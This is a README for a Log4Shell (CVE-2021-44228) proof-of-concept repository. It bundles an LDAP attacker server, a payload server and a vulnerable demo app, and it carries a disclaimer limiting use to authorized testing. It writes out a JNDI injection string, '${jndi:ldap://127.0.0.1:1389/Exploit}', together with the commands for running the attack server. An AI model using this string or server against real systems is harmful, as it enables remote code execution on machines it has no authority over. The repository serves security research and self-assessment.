CVE-2021-44228 Remote Command Execution PoC

This repository allows security researchers to experiment with remote code execution by offering an implementation of an attack server that loads a custom exploit on a vulnerable application that contains log4j.

⚠️ The tool is intended for self-assessment and should be used by authorized persons or researchers only. You should only test systems on which you have explicit permission or authority. If you find vulnerable applications or libraries, you should exercise responsible disclosure.

RCE steps

CVE-2021-44228 works by injecting a JNDI LDAP string into your logs, which triggers Log4j to to contact the specified LDAP server looking for additional information. In a malicious scenario, the LDAP server can then serve code back to the victim machine which will be automatically executed in-memory.

The repo containts two sub-projects. The attacker-server project contains the source code of two threaded servers. The first one is an LDAP proxy that receives the initial request for an LDAP object. The second server is the payload server that serves the Exploit (existing in Exploit.java) back to the vulnerable application

Building

In the root of the project:

mvn clean install

Both the server and the vulnerable app should be ready.

Execute the PoC

In order to load the server execute:

java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar

In order to trigger the RCE execute

java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}

You can change the malicious payload on demand by extending Exploit.java